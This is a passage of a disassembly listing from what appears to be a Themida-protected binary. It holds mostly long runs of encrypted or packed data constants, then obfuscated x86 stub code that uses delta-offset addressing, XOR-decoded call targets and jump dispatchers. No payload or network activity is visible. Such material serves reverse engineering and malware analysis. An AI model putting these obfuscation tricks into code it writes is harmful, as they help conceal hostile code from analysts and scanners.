60890CB1h, 0CFE61D22h, 479F44EBh, 0F214EDACh dd 0A2AF1AF2h, 0D7DB64BFh, 55B051ABh, 892C2A9Fh, 1E7F3EF8h dd 9FFE9E5h, 0B64C3486h, 8FF1ECD4h, 35980A3Fh, 14A9h, 56778DF1h dd 0E3807660h, 6F0CF0EFh, 0F1926E1Bh, 7E1FE59Dh, 0FBE797DFh dd 706E5C01h, 0EC99ED8Eh, 54077B18h, 0BEC103A0h, 0C36305Ch dd 1D347D58h, 0EE76139Fh, 20643EDFh, 9514F78Eh, 2243B921h dd 32CF3BACh, 0DD5FC7BCh, 0EE81467Ah, 0FE23F352h, 8A5D517Bh dd 5CDF79ECh, 0FCE5E83Fh, 586181BEh, 75BF9E2h, 2C08A4C6h dd 0DA45A7F6h, 1E8C7268h, 1A85189Bh, 2C3A5688h, 0F080A7F6h dd 767A8DFh, 0A7F62CEFh, 0DEB87BAAh, 561EE0B8h, 0DBA6h dd 139F8B00h, 0BA088B75h, 0D36135C1h, 6D94DB7h, 0FE09A5C5h dd 0DD445EA1h, 0F927845Ah, 0A8C35EA1h, 88063F5Ch, 39782AD0h dd 6793C476h, 0EBA956B7h, 1293456h, 88AA406h, 0AFD9AD51h dd 8564C559h, 6D3CA5E0h, 13738C78h, 0A7F60AFBh, 738C6FB6h dd 0AA4D032h, 0AEF1A7F6h, 0DDD112EFh, 68C95DABh, 804279A9h dd 0F033A2AFh, 0CE27434Fh, 86E86F93h, 8CB3D1D1h, 0DFE08564h dd 2359B6D3h, 9E849DDh, 21951495h, 11E343B9h, 373F8E5Bh dd 138728A5h, 0EF970000h, 68027015h, 0D289FD9Eh, 40398D2Eh dd 3FAB1FBCh, 7105A0C5h, 8A2BD189h, 13B04E34h, 993ACEBFh dd 2546B225h, 1EB6D81Fh, 5B580C37h, 139FE3DEh, 99188A76h dd 0C63CA416h, 52A6D1A5h, 0AFCF1031h, 5EA1FE07h, 4150D352h dd 0D94DB9D2h, 0C7E4104Bh, 0B54930BEh, 0C83453E1h, 8674D75Ah dd 0D06225D9h, 71C757ABh, 22D1F206h, 1630D9B7h, 0E9AB90Dh dd 0C976D9ACh, 0F9835CA9h, 6186195Bh, 0C9355220h, 9C799846h dd 0C522F44Fh, 4D187A87h, 6E5A3421h, 0F9E66737h, 5ECC32A8h dd 79A1CDBh, 0A5987A0Dh, 44DD3DC2h, 69A0D1C5h, 0DD850936h dd 0B4217727h, 451AE140h, 0F3CBF26Dh, 666C9514h, 0A3DC8175h dd 0F76D4458h, 3BFA7645h, 4624D08Bh, 3958FE86h, 0AED322B0h dd 0CC000012h, 75496A90h, 0E2D0F503h, 66547985h, 90E6877Bh dd 0CA7112E8h, 7A80F8A2h, 817F6559h, 0BFFEEDCh, 9763146Ah dd 6989CEF6h, 580C34CDh, 0D2100F88h, 7CD94DB9h, 0D530D193h dd 885DFACEh, 8CA63FA6h, 92482111h, 4E8F7033h, 23E21840h dd 0F94576FFh, 0C3E0435Bh, 0BD540C82h, 0C8693DCBh, 7967B569h dd 0D1652487h, 21AD52A6h, 57C746BAh, 0B64B09F6h, 0EAB84E38h dd 0DB3BC447h, 0A2A5E2A8h, 34758A15h, 693DC1BEh, 82F549C8h dd 76615576h, 4CB51082h, 1E91F10Eh, 4DA9572Ah, 3042EA0Ch dd 9E57B55Dh, 5BFC29B7h, 4B22702Fh, 0C65DDCBFh, 0B6B5E101h dd 0A100B55Dh, 0DA8D013Eh, 4E398D2Eh, 9B17E8BAh, 0A9110ECh dd 5192AFEDh, 49DD2B5Dh, 6CF929E8h, 49B005BFh, 0FFEE74D6h dd 5AC82877h, 11CCFBh, 48B2D200h, 0D325572Bh, 5BA7DCB2h dd 0E11D443Ah, 6892CEBCh, 0D2CCA04Bh, 5B2F4CB6h, 0DCB2D32Dh dd 4A385DA9h, 0BCC0E511h, 35F31B7Bh, 71BE580Ch, 4CB6D25Eh dd 0D2836C2Fh, 5DDC4EB8h, 982545FAh, 0D55BF9EBh, 4239B54Ah dd 0CA4DECBEh, 3B91CA58h, 0F615B3DBh, 0D27A9CA7h, 9FA7F615h dd 0A7069904h, 5ABCFD06h, 0A7F61532h, 0D165247Fh, 42EA0CA6h dd 0FA7F615h, 0A8395194h, 69B8868Eh, 48B11486h, 80F9F50Ah dd 2244BD7Ch, 0A2AE3CF3h, 0B3DB3BBCh, 0FEAC0E4Eh, 0B73BC4A7h dd 0BD3732C6h, 0DDD136BDh, 0E0138302h, 0D285BF10h, 0D9068526h dd 7A28DE88h, 4BAB5437h, 0A956CF32h, 0B345377Fh, 9BCC42D0h dd 0B7CFBF6Fh, 0AEEC1518h, 0E4D47191h, 7EA1B7FEh, 33AE245Dh dd 8DFE4CCFh, 0D77BA579h, 74BBFF14h, 0A6D1EBA4h, 1442EA0Ch dd 940FBBFFh, 0D343B726h, 0F8CEEF4Eh, 0BFC67B8Fh, 734D2F9Ah dd 0C95DDCE6h, 0D8BFCF36h, 0F9B20A08h, 0B3870472h, 0C8F7160h dd 1D226089h, 0A7F8ACFDh, 6D0E91BEh, 5BF31354h, 16801400h dd 11610C8Fh, 0CE7650B9h, 0F33D05BCh, 0B0D26FCEh, 85485A27h dd 90F4974h, 96B82194h, 0DE41BD24h, 0D18A0839h, 0A8D06225h dd 2F56AD52h, 2BEC6478h, 30D240C3h, 86A9AF80h, 0E00C6EAFh dd 0AD86A9AFh, 0CB34B372h, 0FD167889h, 0BE83F5EAh, 0A3D4DA67h dd 17403657h, 22B033E3h, 4BEEBC46h, 0E70E7AC8h, 0F9200F4h dd 726490F2h, 0EE318FFBh, 5EBBAF0Fh, 0FF6D1C79h, 103096h dd 0EC164E00h, 7781FBCFh, 877B6056h, 15E990E6h, 9C660270h dd 66185CFFh, 0EFE3807Ah, 186E0FF1h, 86F4996Dh, 407C21D5h dd 32B7DF3Fh, 0B502580Ch, 4CB6D29Ah, 123548B3h, 0B1C41E86h dd 4E398DEEh, 444FDFDEh, 66C9943Ah, 817566B4h, 58A5E2Dh dd 0A5D13172h, 0F05EA191h, 583BC7A2h, 867265D9h, 7E2345E5h dd 320B5CC7h, 14000001h, 0D94DB9D2h, 0C7E4104Bh, 8B3D1BC4h dd 680A30B1h, 0A9C976D9h, 5BF9E150h, 0EE10821Dh, 0A7F60D42h dd 997758F8h, 561F067Fh, 3B6Fh, 0FCE5B000h, 724081BEh dd 0F839ED19h, 0E220E939h, 0B2ED5BF9h, 2D923EE0h, 8BF0A7F6h dd 3A5CA777h, 0A7F62D92h, 87F644DFh, 1CACA373h, 40F09AB3h dd 0E187A14Fh, 9F97561Eh, 0B8000000h, 0D94DB9D2h, 31E51F4Bh dd 0AE7C88E3h, 0FA9B6F18h, 0A1F903E8h, 788CFF5Eh, 0F5B7505Bh dd 899F2A4Ch, 41E0A407h, 14737F80h, 936F1AE8h, 0AF1F9E03h dd 0CD38C933h, 207A0D2Dh, 9ADE9776h, 753DC269h, 1C721392h dd 1A3C9E64h, 0EC3476FDh, 0F0B177Eh, 73130000h, 0E496E489h dd 661D7112h, 0DC85F99Ah, 530F8320h, 0D6104A9h, 0EE8F756Dh dd 7F1CE298h, 5A6520Bh, 9132C6B1h, 0A2CA2C73h, 0EF580C33h dd 0B6D28FA2h, 0EF162F4Ch, 0C5BC3378h, 67FF3239h, 42358908h dd 1EF8A9D2h, 3C9F994Ch, 0B9D2889Fh, 7BDA2C5Eh, 856215ABh dd 307125D3h, 2D5E2C51h, 27C045D9h, 83BADC65h, 0EC5BF9E9h dd 0A9D10B5h, 7C000008h, 32F50976h, 78139F23h, 0C1B90D8Ch dd 19B96B3Bh, 4C5EA1FEh, 3E20E1A3h, 5BFDBB9Dh, 48AB7EEh dd 36CCB453h dd 17403657h, 85FD33E3h, 0C595C121h, 52E0A7F3h, 886BCA34h dd 71E91A2Ah, 0E76EFC34h, 0E55h, 0A2C339A5h, 2F4CBA2Ch dd 0B3D02C5Bh, 3D5EA2DFh, 0CAEB1149h, 37534B23h, 0ACDAA8CDh dd 285D3152h, 90CBBFDCh, 0FA3D4764h, 0C307C98h, 0C1F03958h dd 2F4CB6D2h, 19ED9816h, 0FB1B2485h, 5EA1FE53h, 0B604871Eh dd 1B2255C5h, 0FDF92A79h, 413A881Ah, 52C03AA6h, 0A9BE6CCFh dd 0E982B817h, 3C47781Dh, 881230A1h, 0BED85B19h, 5CC71098h dd 0D86h, 67BEAB00h, 6C5EA207h, 0FFFE13A1h, 12BECEFFh dd 475EA1FEh, 0C727D89Ah, 5BFDBBBCh, 9C385A9Bh, 0D9A7F3C5h dd 0DA58C746h, 4CF554AEh, 0C543EB0Bh, 970EA7F3h, 0F4E7EB14h dd 7C6F6300h, 0B312EE9Bh, 0BFDFE0E3h, 0A7F3C517h, 0F240C362h dd 788E6C96h, 0AE3471E9h, 0D8BD13Ch, 0F3930000h, 64166409h dd 0E69DF192h, 5C05791Ah, 0D38F03A0h, 8DE18429h, 6E0FF5EDh dd 0FF9C6218h, 8526D28Bh, 11B24631h, 224AACF3h, 6F580C31h dd 0B9D20F22h, 104BD94Dh, 6F2136E4h, 86611A20h, 0B04A36D9h dd 4EDCBFE2h, 4C5F6CEBh, 7D22CEE8h, 7269659Ah, 0DD06AED0h dd 0D0535EA1h, 8E7CBD71h, 96A2DD1h, 0C7324761h, 2E575Ch dd 9FF80000h, 0E49D7A13h, 44278A18h, 7801DC5h, 70915EA2h dd 0BA7CF2Fh, 0B3F2A15Eh, 0D958A4C3h, 0FFFD375Ah, 4E39B5FFh dd 6A90C8BAh, 0A7B679B8h, 81BEFCE5h, 0F9D1AC61h, 0F0007B5Bh dd 8883BBB6h, 274FAF50h, 72A7F684h, 0B2ED7033h, 84933EE0h dd 672BA7F6h, 38535F28h, 58DB5ECCh, 1E8D183Eh, 1F00656h dd 9F2B0000h, 0FE903C5Eh, 0C3855EA1h, 580278F2h, 50D352D1h dd 0A1BD528Eh, 26EC635Eh, 7F8041B5h, 0A1BDF71Fh, 0A063C25Eh dd 689CCFC3h, 0BD0008BAh, 0B15F5EA1h, 47B3241Eh, 0BADC1D26h dd 5EA1BC12h, 0C645C45Fh, 71A13917h, 49FC9616h, 6E2259E6h dd 3970FD51h, 1C920083h, 1B629F6Bh, 82A8F3FFh, 0D6E3143h dd 683ACEB9h, 0A1C7EAB6h, 1CF3E85Eh, 0AB0E9C6Ah, 93C45AC8h dd 13E59767h, 0F4DBAB83h, 0C7CB6383h, 1F865EA1h, 2D6216BCh dd 0C74BA5C3h, 15C895Ch, 0D2960000h, 3EB44DB9h, 46EBBB4Fh dd 96C157C7h, 9D7A4162h, 0EDE122DFh, 18990DFBh, 0F3704999h dd 535F5BF9h, 0D75AC834h, 1045C954h, 6F9105E4h, 0A7F61FC3h dd 18F6D979h, 561EF3FEh, 5F1EAE8h, 3A7582h, 0E5DA0000h dd 6181BEFCh, 5BF9E258h, 8A4C607h, 45A7F62Ch, 39C45BDAh dd 4BF26A45h, 61359453h, 0F65713BFh, 0A6E9A9A7h, 1EB82E48h dd 68CD3856h, 0DCC4BFECh, 0C3DF28EBh, 60000000h, 8F79139Fh dd 0AB1B9A1Fh, 43A4D730h, 0EA4FDF29h, 0B7169B0Bh, 0E4961CE7h dd 47239312h, 205BE9BDh, 87F046D4h, 33105273h, 2F5EA1F6h dd 1A2B48BCh, 191DB9D9h, 0B100A15Eh, 0E1F47AF5h, 86099807h dd 9BA4E603h, 7D6CE7Bh, 0CF70B3A4h, 0A45DA7C3h, 0C649BD2Eh dd 0A7619CA5h, 807C6B9Dh, 9A724945h, 0C53FAB1Bh, 76B3A961h dd 309D0F34h, 0B39h, 0C6E71D41h, 537086F0h, 0DFFC007Fh dd 6102FEEBh, 0EE8F756Dh, 0B77274Fh, 80FECCF1h, 7C695D7Eh dd 0E497EB88h, 0E517310h, 0C2F40ECh, 0AD840D58h, 2C5FB6D2h dd 0BDC879D8h, 68161FFAh, 0A6A50496h, 4FF0F21Fh, 0A109872Fh dd 0D053D25Eh, 58ACDFB3h, 0B9D2E43Bh, 104BD94Dh, 4ACCC7E4h dd 0B000004h, 1A3ED1F0h, 18720396h, 1AFD3CEEh, 0E40D889Bh dd 58E9AB54h, 17E19B17h, 0BB0E4A94h, 10935BFDh, 143ACF7h dd 0E5379EC0h, 1B62A2ABh, 0CB6529B2h, 0FC187A3Fh, 0B9AC0B00h dd 99048766h, 304B9406h, 126373F8h, 0A07EC125h, 0AC0B0E70h dd 678906CAh, 4F720341h, 6A82E425h, 27AC0B16h, 91CC3DFCh dd 55000003h, 0A1FE12BEh, 0FEFB1C5Eh, 37D05EA1h, 4A8BCC75h dd 0A1FE8C28h, 6F8E65Eh, 178E1594h, 0D08F4A94h, 91105BF9h dd 741F732Dh, 0CE47D534h, 0A45h, 0B2D32955h, 3F5CAADCh dd 0C3E01C4Bh, 4D6E92CFh, 0DAFB0179h, 27433B33h, 9CCAB8DDh dd 184D4162h, 80FBCFECh, 0EA2D5774h, 0C2C6C88h, 0B1E02958h dd 2C5EB9D2h, 6E948DAh, 8AC83194h, 0FDC93475h, 0A5924A47h dd 0D714CA4Dh, 0DC5BFDCCh, 70D32756h, 9CB3253h, 3CCE82D0h dd 16F37639h, 84BAB54h, 95A2AF55h, 83F9F50Ah, 0C206587Dh dd 0ADAC04D6h, 0B0C66356h, 0B47710A8h, 0E398C931h, 4B2A8F1Fh dd 0E095192Ah, 60238614h, 0D84AB4D2h, 5CE5114Ah, 4ED12556h dd 0C19079DCh, 70B1659Bh, 5627091h, 576E72F9h, 41A7F6DDh dd 8E101FEh, 0B5A95F5Ah, 9D1C886Ah, 58CA26DEh, 988F5h dd 14EE9600h, 9F690377h, 2FD388FEh, 0BD41388Eh, 0C43EAA18h dd 8E7004A7h, 378B28D2h, 0A016B749h, 2E9CC135h, 182449BDh dd 2D1FB7D7h, 0DD5A580Ch, 0BEFCE5E2h, 0B33F4081h, 3A7F2FD9h dd 0A1FE8824h, 0E85AC55Eh, 578B0AF0h, 5BFDBB14h, 0CDC17EA1h dd 0ADD86997h, 0B8C1857Ah, 0ABC84BDCh, 1344A9D7h, 379604E7h dd 177788CAh, 0A2AF3CD0h, 75D042DDh, 0D131CE8Ch, 0A95D2BE0h dd 0A2CA2CADh, 0EFB55D53h, 9B71D5B4h, 7D26DF7Fh, 8FB66EFh dd 63030000h, 0D486F499h, 560D8122h, 0CCB509AAh, 433F9330h dd 0FD7114B9h, 0FE9F651Dh, 8F2CD288h, 15B6423Bh, 0A1C236A1h dd 923A5C63h, 0DF580C2Dh, 0B9D27F52h, 104BD94Dh, 6F2136E4h dd 0CB611A20h, 0B36395C7h, 0FE44F06Eh, 8E115EA1h, 0CAEC8E2Fh dd 0D45CC712h, 1C0h, 8F601F93h, 0DE4C2FD1h, 5DFB9C5Bh dd 0AF7578ACh, 0FCE5FDECh, 66C937ADh, 611A98D9h, 0E1A00195h dd 0F9D0ACC1h, 1486195Bh, 0F63346EAh, 735CFCA7h, 1EE07B9Dh dd 1866356h, 0AC220000h, 0D8749636h, 95A7F63Bh, 0F9E8AB0Ah dd 0D94DB9D2h, 6B14FF06h, 88D9BB5Fh, 36C2B509h, 0ABE91695h dd 99355596h, 0D45EA15Dh, 4BDB2F5Eh, 61C007E6h, 61FFAA44h dd 57986928h, 7910EE2Ch, 6DE84C47h, 533106AAh, 0DD0584DDh dd 5BF954ECh, 3DC4ED1h, 977DEF8h, 36BE6AE9h, 0AC12D965h dd 95C121F3h, 0E0A7F978h, 835FDE41h, 0A7F9786Fh, 846A25D5h dd 561F9962h, 4C4Ch, 0C8B73B00h, 80EC086Ah, 76A9A7F9h dd 0E3A20797h, 0E0FCE5F0h, 0A1FE56FEh, 2180235Eh, 0EF892E0h dd 659A1D9Ch, 0CD31AE24h, 311DD859h, 95CE674h, 0F732ECAFh dd 0B85BF9EEh, 0E70BB569h, 5DA7F620h, 0DAFC12BDh, 0C4561EECh dd 9Ch, 4DB9D26Dh, 811F4BD9h, 0CF80DAD3h, 0C95D3CC4h, 4BF4007Bh dd 24E71947h, 837760B6h, 446B80E2h, 0B43A5EA1h, 0C26737C3h dd 6C98F343h, 0E1A34C4Fh, 0EF8B3E20h, 0ADF45BF8h, 9B6F1E94h dd 1AE7A60Bh, 5005EC94h, 0D2A0C5A4h, 0AEE4CB6h, 0FC347629h dd 74FE76Eh, 37AF0000h, 0A0DAA8CDh, 1A413556h, 88F1C5E6h dd 7635774h, 393DD8FDh, 0C2E31941h, 4B6896CCh, 0D1F20677h dd 5D7E8AFDh, 56FEE027h, 23580C2Bh, 139FBB96h, 18E29E77h dd 1C44F6B9h, 205559E6h, 423055D4h, 69B8DD29h, 0B44DB9D2h dd 0E8BA4C3Eh, 708CF549h, 0FCEF3DB1h, 80FBF708h, 0DDD0B574h dd 5Dh, 31C5B63Ch, 6A7D3C7Dh, 67DB30Dh, 0DEDB006Ch, 0EF6A2D37h dd 7EBF4002h, 5AF5207h, 3CFF9C2Ch, 0FD5D67E2h, 1F444A5Bh dd 86FD33E3h, 85189B7Ah, 955EFD1Ah, 5BE4A643h, 3A33B120h dd 0C4B68F65h, 6FB2609Eh, 0EB1253ACh, 0B8CBD270h, 0CA14974Eh dd 0A2AE378Ch, 2A698E11h, 50h, 0BEFCE54Bh, 0FCC86181h dd 0CEF55BF9h, 0CEBF0668h, 0E8BA1D69h, 18B4D617h, 55A7F695h dd 4974BCAh, 0CDEC1CCFh, 0EFE3943Bh, 19980AFEh, 0B4F61396h dd 0A355078Bh, 0ABDCAEF3h, 0AB6ACF5Fh, 87653456h, 0D74EA2AEh dd 0C03EA42Ah, 0B6911C41h, 9E000000h, 0FEE0FCE5h, 5EA1FE56h dd 0E0218023h, 0FDBB75FEh, 31DF465Bh, 490FD39Ch, 498EA846h dd 77905619h, 4F000000h, 9FC82543h, 9776BB6Bh, 0F0E3A207h dd 903C5E9Fh, 0DD5EA1FEh, 9B44C342h, 0B46690CAh, 11857966h dd 0B14E3190h, 0FDBB0951h, 0E70D945Bh, 17798132h, 4A3056B8h dd 3B3E5619h, 3000000h, 0EA7A139Fh, 91747EE7h, 24E74600h dd 0C57A38A1h, 0FDB924A5h, 0DB870B5Bh, 0A0039E21h, 0CC16D98Ch dd 3374038Ch, 0F3C3BBD3h, 59AFD9A7h, 0BED85BCAh, 56194F98h dd 1C86h, 5E9FAB00h, 0A1FE903Ch, 6A94F25Eh, 7BAA79B8h dd 0F89F66B8h, 0A9645EA1h, 0FFFFFEFDh, 0DAFCE5C6h, 6A64F737h dd 29D6B9DEh, 0FD7DD2C9h, 0D240E35Bh, 6B928E6Bh, 416A61D1h dd 0C06CF20Bh, 8DA7F30Eh, 4D8EB312h, 0F30E812Dh, 7B85E3A7h dd 6DFE7DA4h, 8DFEDA69h, 0D939C649h, 0A2AF3593h, 96730540h dd 0C9EA2DE8h, 7DBC6E92h, 1D841B9Ah, 0F787689h, 54BD38FBh dd 1689E916h, 27A95951h, 1D4F43FCh, 26C3CAEBh, 0DDBCD83Ah dd 0A6F9B556h, 82F93AC7h, 0C3A0F91Bh, 0F131F083h, 0B00AC26Eh dd 575BE43Fh, 0B1B1D226h, 13CDDD34h, 0FF1EFE3h, 0B94D3E8Ch dd 0A6500A88h, 473086E7h, 7D9AE3B3h, 0A1C1023Fh, 1382F775h dd 0A15EE140h, 0DAFF6C41h, 54C65916h, 0C0FAD5BBh, 4C426397h dd 413FB319h, 944AEFBFh, 18DB1178h, 3555EA35h, 18DB1199h dd 38EA4DD4h, 9406F0EAh, 0CC49B4DDh, 0B6245BE6h, 4F4030F3h dd 0D7F40075h, 0AC7E8AE3h, 0A8D810C1h, 5CA8DDE7h, 0D288063Fh dd 0E57A6D2Ch, 55EBBBF1h, 5044D622h, 68828F00h, 0EB911D22h dd 61208115h, 77DD8EFCh, 10BC870Ch, 0F969329Ah, 5EA10D5Dh dd 0A268918h, 9BA49D57h, 10936517h, 62152F60h, 6B1D7196h dd 8FF6099Dh, 0A251D6C6h, 3ABCBC8h, 4E5EA134h, 6DB574D7h dd 5EA134C1h, 6F3FC9A3h, 865E31AEh, 5D31D49Eh, 2049DD2Bh dd 0D9163F90h, 0C8A29837h, 0BC299D3Eh, 0C809DA48h, 0B0629CCAh dd 7045F171h, 4C3F5EA1h, 0FBBAE5B8h, 0A1708A27h, 235AEF5Eh dd 4C3EBEFEh, 8249E8BAh, 0E6A9977Eh, 6A033996h, 83C4FD9Eh dd 0A172CB63h, 9C1F865Eh, 0A152E742h, 20D4875Eh, 2D5F2F72h dd 395E78DBh, 275CC77Fh, 0FFFFFF43h, 4DB9D208h, 0C6215A28h dd 6C806397h, 40817566h, 9076DB05h, 38FB532Ch, 7A8CFED4h dd 9F3757A8h, 0DA5EA1B8h, 7480FB4Bh, 2C636DA6h, 840BCB05h dd 7983FFF3h, 9BFB04A5h, 5EA1B873h, 9624E73Eh, 4EE811E5h dd 5CC75528h, 34CAB03Eh, 50A6D066h, 46D92EF1h, 66000000h dd 81BEFCE5h, 0FDBB1B61h, 0D57BAA5Bh, 57D71B2h, 548A2FFFh dd 0A7F3C538h, 46B2A75h, 8C03F34Ch, 0E51A5881h, 601AFFE9h dd 0C2A50496h, 0B14ED150h, 0FA046270h, 0D8068928h, 0A2AF8092h dd 54678023h, 3Fh, 0BEFCE55Dh, 0BB1B6181h, 7BAA5BFDh, 7C6D20D5h dd 51ACDBF4h, 0DFCFDB78h, 0E8D0CA6h, 0A953C7E1h, 9D272C84h dd 0F31AD17Dh, 0A2059CA7h, 9EDC3EC3h, 27A2AF5Fh, 0E01440A2h dd 3E61AC04h, 0D267BA5Fh, 5BF313B9h, 165EA1FEh, 9F132C8Fh dd 2B8E1CE0h, 33A4FA68h, 0FAE7A6C7h, 8089FDCh, 0FB5A826Dh dd 6BD52446h, 79E5BF9h, 87C56D97h, 0DB7FA7F9h, 8BFC1AF4h dd 3CE2561Fh, 4F000000h, 44DB649Fh, 96B8A14Ch, 35779017h dd 982FEA0Ch, 0B1F05BF9h, 41A1E2FDh, 0A7F9B315h, 0A07EC160h dd 0A7F9B370h, 287289CAh, 81919F46h, 0FAD5A766h, 1F89F214h dd 0DCFC56h, 9F450000h, 728F7913h, 0A1FEE410h, 0AF6EB15Eh dd 0A4C66C1Fh, 5EA1FE08h, 0C67BDA45h, 0BA689EC8h, 20837F64h dd 0C3BF0D61h, 0A4D76539h, 7BDA2643h, 966215ABh, 0F90EEDF5h dd 8FF85EA1h, 288B7F68h, 33037A8Bh, 8ABF8440h, 7D81FE4Ch dd 358908A9h, 61E4B642h, 0E5053A78h, 0A405F418h, 6EE14CB7h dd 0DB6F0832h, 0E4E4331Ch, 0E915042h, 9F690393h, 0F31C9F3Ch dd 434F90B1h, 736AD824h, 13921787h, 0AF33B0CFh, 9DA2FDA2h dd 0F2936911h, 0BC1EE49Ch, 3F8F63CAh, 0EA078E1Ch, 30000001h dd 0A115B64Ch, 2E9CC137h, 5A284DB1h, 0DCB2D32Fh, 9E3D5EA4h dd 46BC24D6h, 0D52B5125h, 5FABC2B0h, 0EB1F483Eh, 1575BACAh dd 580C24F9h, 0D2447BB4h, 0DA2E5FB6h, 6506E948h, 0D8816611h dd 50337624h, 139FFC33h, 1AB2D476h, 575EA1FEh, 78B96DCCh dd 0CA809DFDh, 0F8BB1448h, 93C5947Dh, 9170B165h, 0F48B0E70h dd 69945BF9h, 8686D731h, 24F6594Dh, 0F67156FAh, 632CECA7h dd 1E9E6B8Dh, 0E87356h, 0D2DC0000h, 0EE9F13B9h, 0FEA8C41Ah dd 9DCA5EA1h, 0B16CCD61h, 7C728F6Eh, 0A539F806h, 1D916B17h dd 0A1F904E3h, 0B627AB5Eh, 8A51D042h, 0C016E181h, 0C27033E2h dd 2EA45DA9h, 0AFCC4FB3h, 0C654A0DBh, 27D89A47h, 59FFEC7h dd 0E4A2D9A4h, 1DD87367h, 0E639A467h, 519C6C5h, 0F6F949E5h dd 0A3C304A7h, 0A7F6F90Bh, 8E7CDF46h, 0B54A2DD1h, 0F9FA1274h dd 6CB7A7F6h, 2A3254ADh, 87A2AF73h, 0F3EFE31Ch, 83FAF809h dd 0E3D7B477h, 0D5997D87h, 0F33F8FBDh, 0D3EC61h, 0BB2B0000h dd 3CAE1C41h, 0AED5A9CAh, 245D3152h, 9BC7BBD8h, 0D5993C61h dd 2647BD25h, 0B7D42A50h, 3D5EAAC3h, 0C9EA1E49h, 0FA1274BBh dd 0B7580C25h, 0B6D2477Ah, 205B2F4Ch, 0B76799C7h, 2D6E9372h dd 0A1FEA1CDh, 9AD1EC5Eh, 0E8932922h, 6711E544h, 1D9C1D91h dd 139FA978h, 0B80A8D77h, 0D56B3BCFh, 25A956A2h, 7F8144B0h dd 4CAEF421h, 0C5B9DA5Dh, 3C456692h, 0BC3507C1h, 6E31D8E2h dd 0A25FABDCh, 0F4D50161h, 1A05EA1h, 0A8D32CBEh, 2B7790E4h dd 8959D892h, 58BC6ECBh, 4436BC43h, 0FE41E0B2h, 403B018Eh dd 0C8A317B4h, 19956E3Ch, 0A519986Ch, 0D07C9E3Ch, 9D9B301Eh dd 0C0F3A302h, 0EAE89F30h, 159406F0h, 43B72092h, 0CF3BAC22h dd 3F65Fh, 0E0FF0000h, 48B2D2F1h, 0E71344DAh, 0F4E137h dd 98661C92h, 36CCB40Ah, 50AAD664h, 0E9154CC2h, 4F8E735h dd 0A0560096h, 26814F2h, 54000037h, 8124048Fh, 42404h dd 2D680000h, 89000024h, 2268243Ch, 89000079h, 6851241Ch dd 6D1F38CDh, 0D9BA5259h, 29667171h, 0CF895AD1h, 1C8B5459h dd 4C48324h, 8B850h, 0D8010000h, 89FA8952h, 0FF585A10h dd 815B2434h, 4C4h, 2434FF00h, 4C4815Fh, 0E9000000h, 0FFFB68F8h dd 0B862A25Eh, 6ADDCF1h, 0E0FFC503h, 165AC56Dh, 2C8FBFDFh dd 0D875523h, 3358C604h, 12C1FB3Eh, 6B853D0Eh, 73F510B3h dd 604E2F5Dh, 4F98D7E7h, 7D8E109Eh, 4F34C192h, 7D4D8728h dd 4519A415h, 46270A52h, 53AA29C6h, 48ACAB60h, 233DB6EFh dd 1A74C066h, 2A9AB00h, 7BB75168h, 11225B2Ah, 448C3D4Ah dd 6E246FB8h, 52717415h, 107C7A22h, 65A5C798h, 497CB0B1h dd 2F472DEh, 553C4053h, 25185A08h, 6E097120h, 0CDEAF36h dd 0BE8h, 91323A00h, 7F2F957Ch, 982142E8h, 54E8E881h, 0E85E266Ch dd 0Fh, 0D4A2D0B0h, 0E669CC6Eh, 49008DD8h, 0F8546AEh, 288h dd 5B5F5700h, 6599C681h, 0BB660000h, 0D22B35B9h, 0F3234FFh dd 68Eh, 0E9F08100h, 59190762h, 0B9AAC781h, 0C1817C46h dd 660890A0h, 81C78B66h, 20DEC7E9h, 0D7F1810Dh, 0F6C80F9h dd 68Ch, 0E4EF8100h, 8900C7CBh dd 0F6BF160Ch, 8A643384h, 1EA83DEh, 0BA61B866h, 814A4A4Ah dd 0DC0160D7h, 28FA812Ah, 0FFFFF9Bh, 1585h, 0EAE88100h dd 0E96485C7h, 22h, 1D2181A7h, 0CAAD6F64h, 0BF0F66DFh dd 0FF86E9F9h, 0C1CBFFFFh, 58328B05h, 7F37F006h, 52800720h dd 24EB4BC3h, 9 dup(0) ; --------------------------------------------------------------------------- jmp loc_5A799E ; --------------------------------------------------------------------------- mov [ebp+6ADDEABh], esi mov eax, [ebp+6A8339Dh] mov eax, [ebp+6A82185h] lea esi, [ebp+6ADDEF5h] lea eax, [ebp+6AB3B9Bh] call eax retn ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 6ADDEFBh cmp dword ptr [ebp+6A8339Dh], 1 jnz loc_5A7948 push dword ptr [ebp+6ADDEABh] mov eax, [ebp+6A82185h] xor eax, 34812736h call eax cmp al, 1 jnz loc_5A7941 mov eax, 1 jmp loc_5A7988 ; --------------------------------------------------------------------------- loc_5A7941: ; CODE XREF: Themida_:005A7931j xor eax, eax jmp loc_5A7988 ; --------------------------------------------------------------------------- loc_5A7948: ; CODE XREF: Themida_:005A7916j push 1Ch lea esi, [ebp+6ADDEAFh] push esi push dword ptr [ebp+6ADDEABh] mov eax, [ebp+6A82185h] xor eax, 34812736h call eax add esp, 0Ch lea esi, [ebp+6ADDEAFh] mov eax, [esi+14h] and eax, 4 cmp eax, 4 jz loc_5A7983 xor eax, eax jmp loc_5A7988 ; --------------------------------------------------------------------------- loc_5A7983: ; CODE XREF: Themida_:005A7976j mov eax, 1 loc_5A7988: ; CODE XREF: Themida_:005A793Cj ; Themida_:005A7943j ... cmp dword ptr [ebp+6A8339Dh], 1 jnz loc_5A799C pop ebp retn ; --------------------------------------------------------------------------- jmp loc_5A799E ; --------------------------------------------------------------------------- loc_5A799C: ; CODE XREF: Themida_:005A798Fj pop ebp iret ; --------------------------------------------------------------------------- loc_5A799E: ; CODE XREF: Themida_:005A78DCj ; Themida_:005A7997j lea eax, [ebp+6ADDED4h] mov [ebp+6A81619h], eax jmp loc_5A7A6A ; --------------------------------------------------------------------------- db 0B0h dd 945F9AA7h, 5000000h, 1000000h, 28000000h, 200000Ah dd 29h dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A7A6A: ; CODE XREF: Themida_:005A79AAj jmp loc_5A8553 ; --------------------------------------------------------------------------- push 6ADE205h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6ADE312h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6ADE402h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6ADE458h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6ADE59Dh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6ADE602h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6ADE8EDh jmp 